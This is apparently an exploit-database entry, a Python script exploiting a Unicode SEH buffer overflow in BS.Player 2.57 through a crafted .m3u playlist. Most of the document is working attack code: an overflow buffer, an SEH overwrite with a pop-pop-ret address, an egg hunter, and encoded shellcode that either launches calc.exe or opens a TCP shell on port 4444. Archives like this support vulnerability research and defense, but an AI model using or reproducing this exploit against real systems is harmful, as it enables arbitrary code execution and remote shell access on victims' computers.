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BS.Player 2.57 - Local Buffer Overflow (SEH Unicode)

🗓️ 07 Jan 2011 00:00:00Reported by C4SS!0 G0M3SType 
exploitdb
 exploitdb
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This is an exploit for a local buffer overflow in BS.Player version 2.57, which allows an attacker to execute arbitrary code. The exploit is tested on Windows XP SP3 Portuguese Brazilian version. The exploit is available for download at the specified link

Code
#
#
#[+]Exploit Title: Exploit Buffer Overfloe Bsplayer 2.57(UNICODE-SEH)
#[+]Date: 01\07\2010
#[+]Author: C4SS!0 G0M3S
#[+]Software Link: http://www.bsplayer.com/services/downlad-free-bsplayer.php?type=2
#[+]Version: 2.57
#[+]Tested on: WIN-XP SP3 PORTUGUESE BRAZILIAN
#[+]CVE: N/A
#
#
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#  ##         ## ##    ##             ##         ##     ##           ## 
#  ##        ##  ##    ##             ##         ##     ##           ##
#  ##       ########## ########       ########   ##     ##           ##
#  ##            ##          ##             ##   ##     ##           ##
#  ##            ##          ##             ##   ##     ##           ##
#  ########      ##    ########      #########   ##     ##           ##
#  ########      ##    ########      #########   \/     ###############
#                                              
#Created By C4SS!0 G0M3S
#[email protected]
#www.invasao.com.br
#
#


import os
import sys
import time
import string

os.system("cls")
os.system("color 4f")

def usage():
        print "\n"
        print "[+]Exploit: Exploit Buffer Overflow Bsplayer(UNICODE-SEH)"
        print "[+]Date: 01\\07\\2010"
        print "[+]Author: C4SS!0 G0M3S"
        print "[+]Home: www.invasao.com.br"
        print "[+]E-mail: [email protected]"
        print "[+]Version: 2.57"
        print "[+]Software: Bsplayer 2.57\n"
        print "[-]Note:"
        print "TO EXPLOIT THE RUN FILE NAME MUST BE FILE_NAME.M3U\n"


if((len(sys.argv)!=3) or (int(sys.argv[1])<1) or (int(sys.argv[1])>2)):
        usage()
        print "Payloads:\n1 - WinExec(\"Calc.exe\",0)\n2 - Reverse_Tcp_Shell\n"
        print "[-]Usage: "+sys.argv[0]+" <Playload Number> <File Name>"
        print "[-]Exemple: "+sys.argv[0]+" 1 Exploit.m3u"
        sys.exit(0)

usage()
buffer = "\x42" * 4102
nseh = "\x61\x6d"
seh = "\xde\x4e" #pop ebx - pop ebp - ret at 0x004E00DE [bsplayer.exe]
egg_hunter = "\x45\x61\x45\x61\x45\x50\x45\xc3"

junk = "\x45" * 1094
print "[*]Identifying the length Shellcode"
time.sleep(1)
if int(sys.argv[1]) == 2:
	shellcode = ("PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZ"
	"ABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBNKWY7N4PV9X6PQX1PV9JYNZ9SDMTZTR" # 
	"83SY0KT01RPLLLCBPLLT2RLPJX9KKTOX3NZUKKV0VLK3Y3MLRONMMJU2VWC8VQKQSOPTZT3CTK1LPUR6" #
	"KZR65RJC7NPWDLVRZQUMFMV85BXR7BOG8SCKUNXUVMVGIPMKJJZ6XSQ40ORI2UTOWNWRXVF679XJWYPL" #FROM METASPLOIT FRAMEWORK 
	"OU2QOXQNN0GGLNM3HJLRVWUSKO4OWMVOZKXLKLY2B3U1BQMPEBVMQEEFULKP12N8GHWH43CROTS2NPPD" #
	"QT0YXLS5MOM3OCKSRWPFLJWWN19PSXXOFKYD7KLN3WYMFFEJY7LO785W6C1TM7MOURUH7EOM1FZTEMOJ" #SHELLCODE REVERSE_TCP_SHELL ON PORT 4444
	"28TUN2LK0SKNTKKPHJSDRKLFONNC2620QXQTRFZUE3UGR8TOL5V3YO47PRSMMBURNNL9MNEHNELX5NOW" #
	"Q8C5UPOLK3BIRSQBOXVDD9STOI8LHBM1Y3PEPOKMQOMKRN8JZIJ3MPJ0VRRYY92VP0DLVJ3TVJFWKSKB" #PROMPT:
	"QCMXW7O30CRZRF7JK7JV4S2SRM9M5RRTOZZVFYQQDKKW1LY7S6LZFJLLZNXMJB685QOJGLNKNITOCZSK" #
	"QITVVPONFL6LN0O1RVBINM6OLML4XL0TNL6RRVN28UOKSULQJXYLLY9NLM57LVDS8NY2PMQ3MORRMHQD" #C:\>Telnet 127.0.0.1 4444
	"BEINV9QY8U0MN1ZTUPPO3KGMVDOQWLNEUOJLWKE6UPNMBX12QURRNVJN78DYMXKOMHNA")            # 
                                                                                       #
if int(sys.argv[1]) == 1:
        shellcode = ("PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZ"
        "ABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBIKY0NQ99GO3LLVRPHLXY2TMTL46QMNR"
        "8P1SHN853YXKLKSSHQXL4TENPSHWL3599RX6VNCJUKCH4VNSMM25ZOJP2MLWORBZMMM1DJ5QVO9MQ9W4"
        "V30ZUBQWZLFP5KELTXGCLKKMKLE2KZPNG9MOXKMNBNXMKVBK893KGOKSJXOPLPOMS8SR3UTPWKGHXOKT"
        "CDN4CMOQG1C34R171NSXML5WVKE7QSN4XL5VJZQM5W8O669OMOK90J9KN0Q31VVLNNOCUN957X7SHNOP"
        "YTP3KXWLE3O9XCKXJA")

print "[*]The Length Shellcode:"+str(len(shellcode))

time.sleep(1)

shellcode += "\x41" * 5000

file = str(sys.argv[2])

payload = buffer+nseh+seh+egg_hunter+junk+shellcode

op = "w"
print "[*]Creating Your File "+file
time.sleep(1)
try:
        f = open(file,op)
        f.write("http://"+payload)
        f.close()
        print "[*]The File "+file+" was Successfully Created"
except:
        print "[*]Error Creating File "+file

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